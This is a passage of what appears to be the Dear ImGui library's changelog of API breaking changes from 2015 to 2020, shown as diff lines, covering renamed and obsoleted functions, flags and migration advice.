SliderFloat(), SliderFloat2(), SliderFloat3(), SliderFloat4(), SliderScalar(), SliderScalarN(), VSliderFloat() and VSliderScalar(). + replaced the 'float power=1.0f' argument with integer-based flags defaulting to 0 (as with all our flags). + worked out a backward-compatibility scheme so hopefully most C++ codebase should not be affected. in short, when calling those functions: + - if you omitted the 'power' parameter (likely!), you are not affected. + - if you set the 'power' parameter to 1.0f (same as previous default value): 1/ your compiler may warn on float>int conversion, 2/ everything else will work. 3/ you can replace the 1.0f value with 0 to fix the warning, and be technically correct. + - if you set the 'power' parameter to >1.0f (to enable non-linear editing): 1/ your compiler may warn on float>int conversion, 2/ code will assert at runtime, 3/ in case asserts are disabled, the code will not crash and enable the _Logarithmic flag. 4/ you can replace the >1.0f value with ImGuiSliderFlags_Logarithmic to fix the warning/assert and get a _similar_ effect as previous uses of power >1.0f. + see https://github.com/ocornut/imgui/issues/3361 for all details. + kept inline redirection functions (will obsolete) apart for: DragFloatRange2(), VSliderFloat(), VSliderScalar(). For those three the 'float power=1.0f' version were removed directly as they were most unlikely ever used. + for shared code, you can version check at compile-time with `#if IMGUI_VERSION_NUM >= 17704`. + - obsoleted use of v_min > v_max in DragInt, DragFloat, DragScalar to lock edits (introduced in 1.73, was not demoed nor documented very), will be replaced by a more generic ReadOnly feature. You may use the ImGuiSliderFlags_ReadOnly internal flag in the meantime. + - 2020/06/23 (1.77) - removed BeginPopupContextWindow(const char*, int mouse_button, bool also_over_items) in favor of BeginPopupContextWindow(const char*, ImGuiPopupFlags flags) with ImGuiPopupFlags_NoOverItems. + - 2020/06/15 (1.77) - renamed OpenPopupOnItemClick() to OpenPopupContextItem(). Kept inline redirection function (will obsolete). [NOTE: THIS WAS REVERTED IN 1.79] + - 2020/06/15 (1.77) - removed CalcItemRectClosestPoint() entry point which was made obsolete and asserting in December 2017. + - 2020/04/23 (1.77) - removed unnecessary ID (first arg) of ImFontAtlas::AddCustomRectRegular(). + - 2020/01/22 (1.75) - ImDrawList::AddCircle()/AddCircleFilled() functions don't accept negative radius any more. + - 2019/12/17 (1.75) - [undid this change in 1.76] made Columns() limited to 64 columns by asserting above that limit. While the current code technically supports it, future code may not so we're putting the restriction ahead. + - 2019/12/13 (1.75) - [imgui_internal.h] changed ImRect() default constructor initializes all fields to 0.0f instead of (FLT_MAX,FLT_MAX,-FLT_MAX,-FLT_MAX). If you used ImRect::Add() to create bounding boxes by adding multiple points into it, you may need to fix your initial value. + - 2019/12/08 (1.75) - removed redirecting functions/enums that were marked obsolete in 1.53 (December 2017): + - ShowTestWindow() -> use ShowDemoWindow() + - IsRootWindowFocused() -> use IsWindowFocused(ImGuiFocusedFlags_RootWindow) + - IsRootWindowOrAnyChildFocused() -> use IsWindowFocused(ImGuiFocusedFlags_RootAndChildWindows) + - SetNextWindowContentWidth(w) -> use SetNextWindowContentSize(ImVec2(w, 0.0f) + - GetItemsLineHeightWithSpacing() -> use GetFrameHeightWithSpacing() + - ImGuiCol_ChildWindowBg -> use ImGuiCol_ChildBg + - ImGuiStyleVar_ChildWindowRounding -> use ImGuiStyleVar_ChildRounding + - ImGuiTreeNodeFlags_AllowOverlapMode -> use ImGuiTreeNodeFlags_AllowItemOverlap + - IMGUI_DISABLE_TEST_WINDOWS -> use IMGUI_DISABLE_DEMO_WINDOWS + - 2019/12/08 (1.75) - obsoleted calling ImDrawList::PrimReserve() with a negative count (which was the vaguely documented and rarely if ever used). Instead we added an explicit PrimUnreserve() API. + - 2019/12/06 (1.75) - removed implicit default parameter to IsMouseDragging(int button = 0) to be consistent with other mouse functions (none of the other functions have it). + - 2019/11/21 (1.74) - ImFontAtlas::AddCustomRectRegular() now requires an ID larger than 0x110000 (instead of 0x10000) to conform with supporting Unicode planes 1-16 in a future update. ID below 0x110000 will now assert. + - 2019/11/19 (1.74) - renamed IMGUI_DISABLE_FORMAT_STRING_FUNCTIONS to IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS for consistency. + - 2019/11/19 (1.74) - renamed IMGUI_DISABLE_MATH_FUNCTIONS to IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS for consistency. + - 2019/10/22 (1.74) - removed redirecting functions/enums that were marked obsolete in 1.52 (October 2017): + - Begin() [old 5 args version] -> use Begin() [3 args], use SetNextWindowSize() SetNextWindowBgAlpha() if needed + - IsRootWindowOrAnyChildHovered() -> use IsWindowHovered(ImGuiHoveredFlags_RootAndChildWindows) + - AlignFirstTextHeightToWidgets() -> use AlignTextToFramePadding() + - SetNextWindowPosCenter() -> use SetNextWindowPos() with a pivot of (0.5f, 0.5f) + - ImFont::Glyph -> use ImFontGlyph + - 2019/10/14 (1.74) - inputs: Fixed a miscalculation in the keyboard/mouse "typematic" repeat delay/rate calculation, used by keys and e.g. repeating mouse buttons as well as the GetKeyPressedAmount() function. + if you were using a non-default value for io.KeyRepeatRate (previous default was 0.250), you can add +io.KeyRepeatDelay to it to compensate for the fix. + The function was triggering on: 0.0 and (delay+rate*N) where (N>=1). Fixed formula responds to (N>=0). Effectively it made io.KeyRepeatRate behave like it was set to (io.KeyRepeatRate + io.KeyRepeatDelay). + If you never altered io.KeyRepeatRate nor used GetKeyPressedAmount() this won't affect you. + - 2019/07/15 (1.72) - removed TreeAdvanceToLabelPos() which is rarely used and only does SetCursorPosX(GetCursorPosX() + GetTreeNodeToLabelSpacing()). Kept redirection function (will obsolete). + - 2019/07/12 (1.72) - renamed ImFontAtlas::CustomRect to ImFontAtlasCustomRect. Kept redirection typedef (will obsolete). + - 2019/06/14 (1.72) - removed redirecting functions/enums names that were marked obsolete in 1.51 (June 2017): ImGuiCol_Column*, ImGuiSetCond_*, IsItemHoveredRect(), IsPosHoveringAnyWindow(), IsMouseHoveringAnyWindow(), IsMouseHoveringWindow(), IMGUI_ONCE_UPON_A_FRAME. Grep this log for details and new names, or see how they were implemented until 1.71. + - 2019/06/07 (1.71) - rendering of child window outer decorations (bg color, border, scrollbars) is now performed as part of the parent window. If you have + overlapping child windows in a same parent, and relied on their relative z-order to be mapped to their submission order, this will affect your rendering. + This optimization is disabled if the parent window has no visual output, because it appears to be the most common situation leading to the creation of overlapping child windows. + Please reach out if you are affected. + - 2019/05/13 (1.71) - renamed SetNextTreeNodeOpen() to SetNextItemOpen(). Kept inline redirection function (will obsolete). + - 2019/05/11 (1.71) - changed io.AddInputCharacter(unsigned short c) signature to io.AddInputCharacter(unsigned int c). + - 2019/04/29 (1.70) - improved ImDrawList thick strokes (>1.0f) preserving correct thickness up to 90 degrees angles (e.g. rectangles). If you have custom rendering using thick lines, they will appear thicker now. + - 2019/04/29 (1.70) - removed GetContentRegionAvailWidth(), use GetContentRegionAvail().x instead. Kept inline redirection function (will obsolete). + - 2019/03/04 (1.69) - renamed GetOverlayDrawList() to GetForegroundDrawList(). Kept redirection function (will obsolete). + - 2019/02/26 (1.69) - renamed ImGuiColorEditFlags_RGB/ImGuiColorEditFlags_HSV/ImGuiColorEditFlags_HEX to ImGuiColorEditFlags_DisplayRGB/ImGuiColorEditFlags_DisplayHSV/ImGuiColorEditFlags_DisplayHex. Kept redirection enums (will obsolete). + - 2019/02/14 (1.68) - made it illegal/assert when io.DisplayTime == 0.0f (with an exception for the first frame). If for some reason your time step calculation gives you a zero value, replace it with an arbitrary small value! + - 2019/02/01 (1.68) - removed io.DisplayVisibleMin/DisplayVisibleMax (which were marked obsolete and removed from viewport/docking branch already). + - 2019/01/06 (1.67) - renamed io.InputCharacters[], marked internal as was always intended. Please don't access directly, and use AddInputCharacter() instead! + - 2019/01/06 (1.67) - renamed ImFontAtlas::GlyphRangesBuilder to ImFontGlyphRangesBuilder. Kept redirection typedef (will obsolete). + - 2018/12/20 (1.67) - made it illegal to call Begin("") with an empty string. This somehow half-worked before but had various undesirable side-effects. + - 2018/12/10 (1.67) - renamed io.ConfigResizeWindowsFromEdges to io.ConfigWindowsResizeFromEdges as we are doing a large pass on configuration flags. + - 2018/10/12 (1.66) - renamed misc/stl/imgui_stl.* to misc/cpp/imgui_stdlib.* in prevision for other C++ helper files. + - 2018/09/28 (1.66) - renamed SetScrollHere() to SetScrollHereY(). Kept redirection function (will obsolete). + - 2018/09/06 (1.65) - renamed stb_truetype.h to imstb_truetype.h, stb_textedit.h to imstb_textedit.h, and stb_rect_pack.h to imstb_rectpack.h. + If you were conveniently using the imgui copy of those STB headers in your project you will have to update your include paths. + - 2018/09/05 (1.65) - renamed io.OptCursorBlink/io.ConfigCursorBlink to io.ConfigInputTextCursorBlink. (#1427) + - 2018/08/31 (1.64) - added imgui_widgets.cpp file, extracted and moved widgets code out of imgui.cpp into imgui_widgets.cpp. Re-ordered some of the code remaining in imgui.cpp. + NONE OF THE FUNCTIONS HAVE CHANGED. THE CODE IS SEMANTICALLY 100% IDENTICAL, BUT _EVERY_ FUNCTION HAS BEEN MOVED. + Because of this, any local modifications to imgui.cpp will likely conflict when you update. Read docs/CHANGELOG.txt for suggestions. + - 2018/08/22 (1.63) - renamed IsItemDeactivatedAfterChange() to IsItemDeactivatedAfterEdit() for consistency with new IsItemEdited() API. Kept redirection function (will obsolete soonish as IsItemDeactivatedAfterChange() is very recent). + - 2018/08/21 (1.63) - renamed ImGuiTextEditCallback to ImGuiInputTextCallback, ImGuiTextEditCallbackData to ImGuiInputTextCallbackData for consistency. Kept redirection types (will obsolete). + - 2018/08/21 (1.63) - removed ImGuiInputTextCallbackData::ReadOnly since it is a duplication of (ImGuiInputTextCallbackData::Flags & ImGuiInputTextFlags_ReadOnly). + - 2018/08/01 (1.63) - removed per-window ImGuiWindowFlags_ResizeFromAnySide beta flag in favor of a global io.ConfigResizeWindowsFromEdges [update 1.67 renamed to ConfigWindowsResizeFromEdges] to enable the feature. + - 2018/08/01 (1.63) - renamed io.OptCursorBlink to io.ConfigCursorBlink [-> io.ConfigInputTextCursorBlink in 1.65], io.OptMacOSXBehaviors to ConfigMacOSXBehaviors for consistency. + - 2018/07/22 (1.63) - changed ImGui::GetTime() return value from float to double to avoid accumulating floating point imprecisions over time. + - 2018/07/08 (1.63) - style: renamed ImGuiCol_ModalWindowDarkening to ImGuiCol_ModalWindowDimBg for consistency with other features. Kept redirection enum (will obsolete). + - 2018/06/08 (1.62) - examples: the imgui_impl_XXX files have been split to separate platform (Win32, GLFW, SDL2, etc.) from renderer (DX11, OpenGL, Vulkan, etc.). + old backends will still work as is, however prefer using the separated backends as they will be updated to support multi-viewports. + when adopting new backends follow the main.cpp code of your preferred examples/ folder to know which functions to call. + in particular, note that old backends called ImGui::NewFrame() at the end of their ImGui_ImplXXXX_NewFrame() function. + - 2018/06/06 (1.62) - renamed GetGlyphRangesChinese() to GetGlyphRangesChineseFull() to distinguish other variants and discourage using the full set. + - 2018/06/06 (1.62) - TreeNodeEx()/TreeNodeBehavior(): the ImGuiTreeNodeFlags_CollapsingHeader helper now include the ImGuiTreeNodeFlags_NoTreePushOnOpen flag. See Changelog for details. + - 2018/05/03 (1.61) - DragInt(): the default compile-time format string has been changed from "%.0f" to "%d", as we are not using integers internally any more. + If you used DragInt() with custom format strings, make sure you change them to use %d or an integer-compatible format. + To honor backward-compatibility, the DragInt() code will currently parse and modify format strings to replace %*f with %d, giving time to users to upgrade their code. + If you have IMGUI_DISABLE_OBSOLETE_FUNCTIONS enabled, the code will instead assert! You may run a reg-exp search on your codebase for e.g. "DragInt.*%f" to help you find them. + - 2018/04/28 (1.61) - obsoleted InputFloat() functions taking an optional "int decimal_precision" in favor of an equivalent and more flexible "const char* format", + consistent with other functions. Kept redirection functions (will obsolete). + - 2018/04/09 (1.61) - IM_DELETE() helper function added in 1.60 doesn't clear the input _pointer_ reference, more consistent with expectation and allows passing r-value. + - 2018/03/20 (1.60) - renamed io.WantMoveMouse to io.WantSetMousePos for consistency and ease of understanding (was added in 1.52, _not_ used by core and only honored by some backend ahead of merging the Nav branch). + - 2018/03/12 (1.60) - removed ImGuiCol_CloseButton, ImGuiCol_CloseButtonActive, ImGuiCol_CloseButtonHovered as the closing cross uses regular button colors now. + - 2018/03/08 (1.60) - changed ImFont::DisplayOffset.y to default to 0 instead of +1. Fixed rounding of Ascent/Descent to match TrueType renderer. If you were adding or subtracting to ImFont::DisplayOffset check if your fonts are correctly aligned vertically. + - 2018/03/03 (1.60) - renamed ImGuiStyleVar_Count_ to ImGuiStyleVar_COUNT and ImGuiMouseCursor_Count_ to ImGuiMouseCursor_COUNT for consistency with other public enums. + - 2018/02/18 (1.60) - BeginDragDropSource(): temporarily removed the optional mouse_button=0 parameter because it is not really usable in many situations at the moment. + - 2018/02/16 (1.60) - obsoleted the io.RenderDrawListsFn callback, you can call your graphics engine render function after ImGui::Render(). Use ImGui::GetDrawData() to retrieve the ImDrawData* to display. + - 2018/02/07 (1.60) - reorganized context handling to be more explicit, + - YOU NOW NEED TO CALL ImGui::CreateContext() AT THE BEGINNING OF YOUR APP, AND CALL ImGui::DestroyContext() AT THE END. + - removed Shutdown() function, as DestroyContext() serve this purpose. + - you may pass a ImFontAtlas* pointer to CreateContext() to share a font atlas between contexts. Otherwise CreateContext() will create its own font atlas instance. + - removed allocator parameters from CreateContext(), they are now setup with SetAllocatorFunctions(), and shared by all contexts. + - removed the default global context and font atlas instance, which were confusing for users of DLL reloading and users of multiple contexts. + - 2018/01/31 (1.60) - moved sample TTF files from extra_fonts/ to misc/fonts/. If you loaded files directly from the imgui repo you may need to update your paths. + - 2018/01/11 (1.60) - obsoleted IsAnyWindowHovered() in favor of IsWindowHovered(ImGuiHoveredFlags_AnyWindow). Kept redirection function (will obsolete). + - 2018/01/11 (1.60) - obsoleted IsAnyWindowFocused() in favor of IsWindowFocused(ImGuiFocusedFlags_AnyWindow). Kept redirection function (will obsolete). + - 2018/01/03 (1.60) - renamed ImGuiSizeConstraintCallback to ImGuiSizeCallback, ImGuiSizeConstraintCallbackData to ImGuiSizeCallbackData. + - 2017/12/29 (1.60) - removed CalcItemRectClosestPoint() which was weird and not really used by anyone except demo code. If you need it it's easy to replicate on your side. + - 2017/12/24 (1.53) - renamed the emblematic ShowTestWindow() function to ShowDemoWindow(). Kept redirection function (will obsolete). + - 2017/12/21 (1.53) - ImDrawList: renamed style.AntiAliasedShapes to style.AntiAliasedFill for consistency and as a way to explicitly break code that manipulate those flag at runtime. You can now manipulate ImDrawList::Flags + - 2017/12/21 (1.53) - ImDrawList: removed 'bool anti_aliased = true' final parameter of ImDrawList::AddPolyline() and ImDrawList::AddConvexPolyFilled(). Prefer manipulating ImDrawList::Flags if you need to toggle them during the frame. + - 2017/12/14 (1.53) - using the ImGuiWindowFlags_NoScrollWithMouse flag on a child window forwards the mouse wheel event to the parent window, unless either ImGuiWindowFlags_NoInputs or ImGuiWindowFlags_NoScrollbar are also set. + - 2017/12/13 (1.53) - renamed GetItemsLineHeightWithSpacing() to GetFrameHeightWithSpacing(). Kept redirection function (will obsolete). + - 2017/12/13 (1.53) - obsoleted IsRootWindowFocused() in favor of using IsWindowFocused(ImGuiFocusedFlags_RootWindow). Kept redirection function (will obsolete). + - obsoleted IsRootWindowOrAnyChildFocused() in favor of using IsWindowFocused(ImGuiFocusedFlags_RootAndChildWindows). Kept redirection function (will obsolete). + - 2017/12/12 (1.53) - renamed ImGuiTreeNodeFlags_AllowOverlapMode to ImGuiTreeNodeFlags_AllowItemOverlap. Kept redirection enum (will obsolete). + - 2017/12/10 (1.53) - removed SetNextWindowContentWidth(), prefer using SetNextWindowContentSize(). Kept redirection function (will obsolete). + - 2017/11/27 (1.53) - renamed ImGuiTextBuffer::append() helper to appendf(), appendv() to appendfv(). If you copied the 'Log' demo in your code, it uses appendv() so that needs to be renamed. + - 2017/11/18 (1.53) - Style, Begin: removed ImGuiWindowFlags_ShowBorders window flag. Borders are now fully set up in the ImGuiStyle structure (see e.g. style.FrameBorderSize, style.WindowBorderSize). Use ImGui::ShowStyleEditor() to look them up. + Please note that the style system will keep evolving (hopefully stabilizing in Q1 2018), and so custom styles will probably subtly break over time. It is recommended you use the StyleColorsClassic(), StyleColorsDark(), StyleColorsLight() functions. + - 2017/11/18 (1.53) - Style: removed ImGuiCol_ComboBg in favor of combo boxes using ImGuiCol_PopupBg for consistency. + - 2017/11/18 (1.53) - Style: renamed ImGuiCol_ChildWindowBg to ImGuiCol_ChildBg. + - 2017/11/18 (1.53) - Style: renamed style.ChildWindowRounding to style.ChildRounding, ImGuiStyleVar_ChildWindowRounding to ImGuiStyleVar_ChildRounding. + - 2017/11/02 (1.53) - obsoleted IsRootWindowOrAnyChildHovered() in favor of using IsWindowHovered(ImGuiHoveredFlags_RootAndChildWindows); + - 2017/10/24 (1.52) - renamed IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCS/IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCS to IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS/IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS for consistency. + - 2017/10/20 (1.52) - changed IsWindowHovered() default parameters behavior to return false if an item is active in another window (e.g. click-dragging item from another window to this window). You can use the newly introduced IsWindowHovered() flags to requests this specific behavior if you need it. + - 2017/10/20 (1.52) - marked IsItemHoveredRect()/IsMouseHoveringWindow() as obsolete, in favor of using the newly introduced flags for IsItemHovered() and IsWindowHovered(). See https://github.com/ocornut/imgui/issues/1382 for details. + removed the IsItemRectHovered()/IsWindowRectHovered() names introduced in 1.51 since they were merely more consistent names for the two functions we are now obsoleting. + IsItemHoveredRect() --> IsItemHovered(ImGuiHoveredFlags_RectOnly) + IsMouseHoveringAnyWindow() --> IsWindowHovered(ImGuiHoveredFlags_AnyWindow) + IsMouseHoveringWindow() --> IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup | ImGuiHoveredFlags_AllowWhenBlockedByActiveItem) [weird, old behavior] + - 2017/10/17 (1.52) - marked the old 5-parameters version of Begin() as obsolete (still available). Use SetNextWindowSize()+Begin() instead! + - 2017/10/11 (1.52) - renamed AlignFirstTextHeightToWidgets() to AlignTextToFramePadding(). Kept inline redirection function (will obsolete). + - 2017/09/26 (1.52) - renamed ImFont::Glyph to ImFontGlyph. Kept redirection typedef (will obsolete). + - 2017/09/25 (1.52) - removed SetNextWindowPosCenter() because SetNextWindowPos() now has the optional pivot information to do the same and more. Kept redirection function (will obsolete). + - 2017/08/25 (1.52) - io.MousePos needs to be set to ImVec2(-FLT_MAX,-FLT_MAX) when mouse is unavailable/missing. Previously ImVec2(-1,-1) was enough but we now accept negative mouse coordinates. In your backend if you need to support unavailable mouse, make sure to replace "io.MousePos = ImVec2(-1,-1)" with "io.MousePos = ImVec2(-FLT_MAX,-FLT_MAX)". + - 2017/08/22 (1.51) - renamed IsItemHoveredRect() to IsItemRectHovered(). Kept inline redirection function (will obsolete). -> (1.52) use IsItemHovered(ImGuiHoveredFlags_RectOnly)! + - renamed IsMouseHoveringAnyWindow() to IsAnyWindowHovered() for consistency. Kept inline redirection function (will obsolete). + - renamed IsMouseHoveringWindow() to IsWindowRectHovered() for consistency. Kept inline redirection function (will obsolete). + - 2017/08/20 (1.51) - renamed GetStyleColName() to GetStyleColorName() for consistency. + - 2017/08/20 (1.51) - added PushStyleColor(ImGuiCol idx, ImU32 col) overload, which _might_ cause an "ambiguous call" compilation error if you are using ImColor() with implicit cast. Cast to ImU32 or ImVec4 explicily to fix. + - 2017/08/15 (1.51) - marked the weird IMGUI_ONCE_UPON_A_FRAME helper macro as obsolete. prefer using the more explicit ImGuiOnceUponAFrame type. + - 2017/08/15 (1.51) - changed parameter order for BeginPopupContextWindow() from (const char*,int buttons,bool also_over_items) to (const char*,int buttons,bool also_over_items). Note that most calls relied on default parameters completely. + - 2017/08/13 (1.51) - renamed ImGuiCol_Column to ImGuiCol_Separator, ImGuiCol_ColumnHovered to ImGuiCol_SeparatorHovered, ImGuiCol_ColumnActive to ImGuiCol_SeparatorActive. Kept redirection enums (will obsolete). + - 2017/08/11 (1.51) - renamed ImGuiSetCond_Always to ImGuiCond_Always, ImGuiSetCond_Once to ImGuiCond_Once, ImGuiSetCond_FirstUseEver to ImGuiCond_FirstUseEver, ImGuiSetCond_Appearing to ImGuiCond_Appearing. Kept redirection enums (will obsolete). + - 2017/08/09 (1.51) - removed ValueColor() helpers, they are equivalent to calling Text(label) + SameLine() + ColorButton(). + - 2017/08/08 (1.51) - removed ColorEditMode() and ImGuiColorEditMode in favor of ImGuiColorEditFlags and parameters to the various Color*() functions. The SetColorEditOptions() allows to initialize default but the user can still change them with right-click context menu. + - changed prototype of 'ColorEdit4(const char* label, float col[4], bool show_alpha = true)' to 'ColorEdit4(const char* label, float col[4], ImGuiColorEditFlags flags = 0)', where passing flags = 0x01 is a safe no-op (hello dodgy backward compatibility!). - check and run the demo window, under "Color/Picker Widgets", to understand the various new options. + - changed prototype of rarely used 'ColorButton(ImVec4 col, bool small_height = false, bool outline_border = true)' to 'ColorButton(const char* desc_id, ImVec4 col, ImGuiColorEditFlags flags = 0, ImVec2 size = ImVec2(0, 0))' + - 2017/07/20 (1.51) - removed IsPosHoveringAnyWindow(ImVec2), which was partly broken and misleading. ASSERT + redirect user to io.WantCaptureMouse + - 2017/05/26 (1.50) - removed ImFontConfig::MergeGlyphCenterV in favor of a more multipurpose ImFontConfig::GlyphOffset. + - 2017/05/01 (1.50) - renamed ImDrawList::PathFill() (rarely used directly) to ImDrawList::PathFillConvex() for clarity. + - 2016/11/06 (1.50) - BeginChild(const char*) now applies the stack id to the provided label, consistently with other functions as it should always have been. It shouldn't affect you unless (extremely unlikely) you were appending multiple times to a same child from different locations of the stack id. If that's the case, generate an id with GetId() and use it instead of passing string to BeginChild(). + - 2016/10/15 (1.50) - avoid 'void* user_data' parameter to io.SetClipboardTextFn/io.GetClipboardTextFn pointers. We pass io.ClipboardUserData to it. + - 2016/09/25 (1.50) - style.WindowTitleAlign is now a ImVec2 (ImGuiAlign enum was removed). set to (0.5f,0.5f) for horizontal+vertical centering, (0.0f,0.0f) for upper-left, etc. + - 2016/07/30 (1.50) - SameLine(x) with x>0.0f is now relative to left of column/group if any, and not always to left of window. This was sort of always the intent and hopefully breakage should be minimal. + - 2016/05/12 (1.49) - title bar (using ImGuiCol_TitleBg/ImGuiCol_TitleBgActive colors) isn't rendered over a window background (ImGuiCol_WindowBg color) anymore. + If your TitleBg/TitleBgActive alpha was 1.0f or you are using the default theme it will not affect you, otherwise if <1.0f you need tweak your custom theme to readjust for the fact that we don't draw a WindowBg background behind the title bar. + This helper function will convert an old TitleBg/TitleBgActive color into a new one with the same visual output, given the OLD color and the OLD WindowBg color: + ImVec4 ConvertTitleBgCol(const ImVec4& win_bg_col, const ImVec4& title_bg_col) { float new_a = 1.0f - ((1.0f - win_bg_col.w) * (1.0f - title_bg_col.w)), k = title_bg_col.w / new_a; return ImVec4((win_bg_col.x * win_bg_col.w + title_bg_col.x) * k, (win_bg_col.y * win_bg_col.w + title_bg_col.y) * k, (win_bg_col.z * win_bg_col.w + title_bg_col.z) * k, new_a); } + If this is confusing, pick the RGB value from title bar from an old screenshot and apply this as TitleBg/TitleBgActive. Or you may just create TitleBgActive from a tweaked TitleBg color. + - 2016/05/07 (1.49) - removed confusing set of GetInternalState(), GetInternalStateSize(), SetInternalState() functions. Now using CreateContext(), DestroyContext(), GetCurrentContext(), SetCurrentContext(). + - 2016/05/02 (1.49) - renamed SetNextTreeNodeOpened() to SetNextTreeNodeOpen(), no redirection. + - 2016/05/01 (1.49) - obsoleted old signature of CollapsingHeader(const char* label, const char* str_id = NULL, bool display_frame = true, bool default_open = false) as extra parameters were badly designed and rarely used. You can replace the "default_open = true" flag in new API with CollapsingHeader(label, ImGuiTreeNodeFlags_DefaultOpen). + - 2016/04/26 (1.49) - changed ImDrawList::PushClipRect(ImVec4 rect) to ImDrawList::PushClipRect(Imvec2 min,ImVec2 max,bool intersect_with_current_clip_rect=false). Note that higher-level ImGui::PushClipRect() is preferable because it will clip at logic/widget level, whereas ImDrawList::PushClipRect() only affect your renderer. + - 2016/04/03 (1.48) - removed style.WindowFillAlphaDefault setting which was redundant. Bake default BG alpha inside style.Colors[ImGuiCol_WindowBg] and all other Bg color values. (ref github issue #337). + - 2016/04/03 (1.48) - renamed ImGuiCol_TooltipBg to ImGuiCol_PopupBg, used by popups/menus and tooltips. popups/menus were previously using ImGuiCol_WindowBg. (ref github issue #337) + - 2016/03/21 (1.48) - renamed GetWindowFont() to GetFont(), GetWindowFontSize() to GetFontSize(). Kept inline redirection function (will obsolete). + - 2016/03/02 (1.48) - InputText() completion/history/always callbacks: if you modify the text buffer manually (without using DeleteChars()/InsertChars() helper) you need to maintain the BufTextLen field. added an assert. + - 2016/01/23 (1.48) - fixed not honoring exact width passed to PushItemWidth(), previously it would add extra FramePadding.x*2 over that width. if you had manual pixel-perfect alignment in place it might affect you. + - 2015/12/27 (1.48) - fixed ImDrawList::AddRect() which used to render a rectangle 1 px too large on each axis. + - 2015/12/04 (1.47) - renamed Color() helpers to ValueColor() - dangerously named, rarely used and probably to be made obsolete. + - 2015/08/29 (1.45) - with the addition of horizontal scrollbar we made various fixes to inconsistencies with dealing with cursor position. + GetCursorPos()/SetCursorPos() functions now include the scrolled amount. It shouldn't affect the majority of users, but take note that SetCursorPosX(100.0f) puts you at +100 from the starting x position which may include scrolling, not at +100 from the window left side. + GetContentRegionMax()/GetWindowContentRegionMin()/GetWindowContentRegionMax() functions allow include the scrolled amount. Typically those were used in cases where no scrolling would happen so it may not be a problem, but watch out! + - 2015/08/29 (1.45) - renamed style.ScrollbarWidth to style.ScrollbarSize + - 2015/08/05 (1.44) - split imgui.cpp into extra files: imgui_demo.cpp imgui_draw.cpp imgui_internal.h that you need to add to your project. + - 2015/07/18 (1.44) - fixed angles in ImDrawList::PathArcTo(), PathArcToFast() (introduced in 1.43) being off by an extra PI for no justifiable reason + - 2015/07/14 (1.43) - add new ImFontAtlas::AddFont() API. For the old AddFont***, moved the 'font_no' parameter of ImFontAtlas::AddFont** functions to the ImFontConfig structure. + you need to render your textured triangles with bilinear filtering to benefit from sub-pixel positioning of text. + - 2015/07/08 (1.43) - switched rendering data to use indexed rendering. this is saving a fair amount of CPU/GPU and enables us to get anti-aliasing for a marginal cost. + this necessary change will break your rendering function! the fix should be very easy. sorry for that :( + - if you are using a vanilla copy of one of the imgui_impl_XXX.cpp provided in the example, you just need to update your copy and you can ignore the rest. + - the signature of the io.RenderDrawListsFn handler has changed! + old: ImGui_XXXX_RenderDrawLists(ImDrawList** const cmd_lists, int cmd_lists_count) + new: ImGui_XXXX_RenderDrawLists(ImDrawData* draw_data). + parameters: 'cmd_lists' becomes 'draw_data->CmdLists', 'cmd_lists_count' becomes 'draw_data->CmdListsCount' + ImDrawList: 'commands' becomes 'CmdBuffer', 'vtx_buffer' becomes 'VtxBuffer', 'IdxBuffer' is new. + ImDrawCmd: 'vtx_count' becomes 'ElemCount', 'clip_rect' becomes 'ClipRect', 'user_callback' becomes 'UserCallback', 'texture_id' becomes 'TextureId'. + - each ImDrawList now contains both a vertex buffer and an index buffer. For each command, render ElemCount/3 triangles using indices from the index buffer. + - if you REALLY cannot render indexed primitives, you can call the draw_data->DeIndexAllBuffers() method to de-index the buffers. This is slow and a waste of CPU/GPU. Prefer using indexed rendering! + - refer to code in the examples/ folder or ask on the GitHub if you are unsure of how to upgrade. please upgrade! + - 2015/07/10 (1.43) - changed SameLine() parameters from int to float. + - 2015/07/02 (1.42) - renamed SetScrollPosHere() to SetScrollFromCursorPos(). Kept inline redirection function (will obsolete). + - 2015/07/02 (1.42) - renamed GetScrollPosY() to GetScrollY(). Necessary to reduce confusion along with other scrolling functions, because positions (e.g. cursor position) are not equivalent to scrolling amount. + - 2015/06/14 (1.41) - changed ImageButton() default bg_col parameter from (0,0,0,1) (black) to (0,0,0,0) (transparent) - makes a difference when texture have transparence + - 2015/06/14 (1.41) - changed Selectable() API from (label, selected, size) to (label, selected, flags, size). Size override should have been rarely be used. Sorry! + - 2015/05/31 (1.40) - renamed GetWindowCollapsed() to IsWindowCollapsed() for consistency. Kept inline redirection function (will obsolete). + - 2015/05/31 (1.40) - renamed IsRectClipped() to IsRectVisible() for consistency. Note that return value is opposite! Kept inline redirection function (will obsolete). + - 2015/05/27 (1.40) - removed the third 'repeat_if_held' parameter from Button() - sorry! it was rarely used and inconsistent. Use PushButtonRepeat(true) / PopButtonRepeat() to enable repeat on desired buttons. + - 2015/05/11 (1.40) - changed BeginPopup() API, takes a string identifier instead of a bool. ImGui needs to manage the open/closed state of popups. Call OpenPopup() to actually set the "open" state of a popup. BeginPopup() returns true if the popup is opened. + - 2015/05/03 (1.40) - removed style.AutoFitPadding, using style.WindowPadding makes more sense (the default values were already the same). + - 2015/04/13 (1.38) - renamed IsClipped() to IsRectClipped(). Kept inline redirection function until 1.50. + - 2015/04/09 (1.38) - renamed ImDrawList::AddArc() to ImDrawList::AddArcFast() for compatibility with future API + - 2015/04/03 (1.38) - removed ImGuiCol_CheckHovered, ImGuiCol_CheckActive, replaced with the more general ImGuiCol_FrameBgHovered, ImGuiCol_FrameBgActive. + - 2014/04/03 (1.38) - removed support for passing -FLT_MAX..+FLT_MAX as the range for a SliderFloat(). Use DragFloat() or Inputfloat() instead. + - 2015/03/17 (1.36) - renamed GetItemBoxMin()/GetItemBoxMax()/IsMouseHoveringBox() to GetItemRectMin()/GetItemRectMax()/IsMouseHoveringRect(). Kept inline redirection function until 1.50. + - 2015/03/15 (1.36) - renamed style.TreeNodeSpacing to style.IndentSpacing, ImGuiStyleVar_TreeNodeSpacing to ImGuiStyleVar_IndentSpacing + - 2015/03/13 (1.36) - renamed GetWindowIsFocused() to IsWindowFocused(). Kept inline redirection function until 1.50. + - 2015/03/08 (1.35) - renamed 